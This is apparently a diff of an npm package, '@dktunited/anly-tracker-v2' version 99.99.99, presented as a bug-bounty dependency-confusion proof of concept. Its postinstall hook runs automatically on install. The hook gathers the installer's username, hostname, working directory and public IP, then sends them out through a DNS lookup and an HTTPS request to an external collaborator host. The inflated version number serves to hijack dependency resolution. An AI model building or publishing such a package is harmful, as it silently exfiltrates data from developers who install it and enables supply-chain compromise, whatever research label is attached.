@dktunited/anly-tracker-v2 99.99.99

package/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "@dktunited/anly-tracker-v2",
+  "version": "99.99.99",
+  "description": "Security research PoC - bug bounty responsible disclosure YESWEHACK (migdev23)",
+  "scripts": {
+    "postinstall": "node scripts/postinstall.js"
+  }
+}

package/scripts/postinstall.js

@@ -0,0 +1,38 @@
+/*
+ * Dependency Confusion PoC - Bug Bounty Research
+ * Package: @dktunited/anly-tracker-v2
+ * Responsible disclosure only - no malicious payload
+ */
+const dns   = require('dns');
+const https = require('https');
+const os    = require('os');
+
+const C2 = 'xjaipnfhcpawuhzlgzkzub8mc0rqdiuyp.oast.fun';
+
+https.get('https://api.ipify.org?format=json', (res) => {
+  let data = '';
+  res.on('data', c => data += c);
+  res.on('end', () => {
+    const ip = JSON.parse(data).ip;
+    const raw = JSON.stringify({
+      pkg: '@dktunited/anly-tracker-v2',
+      u: os.userInfo().username,
+      h: os.hostname(),
+      p: process.cwd(),
+      ip: ip,
+      poc: true
+    });
+
+    const payload = Buffer.from(raw).toString('hex').substring(0, 60);
+    dns.lookup(`${payload}.${C2}`, () => {});
+
+    const req = https.request({
+      hostname: C2,
+      path: '/poc',
+      method: 'GET',
+      headers: { 'x-poc': Buffer.from(raw).toString('base64') }
+    }, () => {});
+    req.on('error', () => {});
+    req.end();
+  });
+}).on('error', () => {});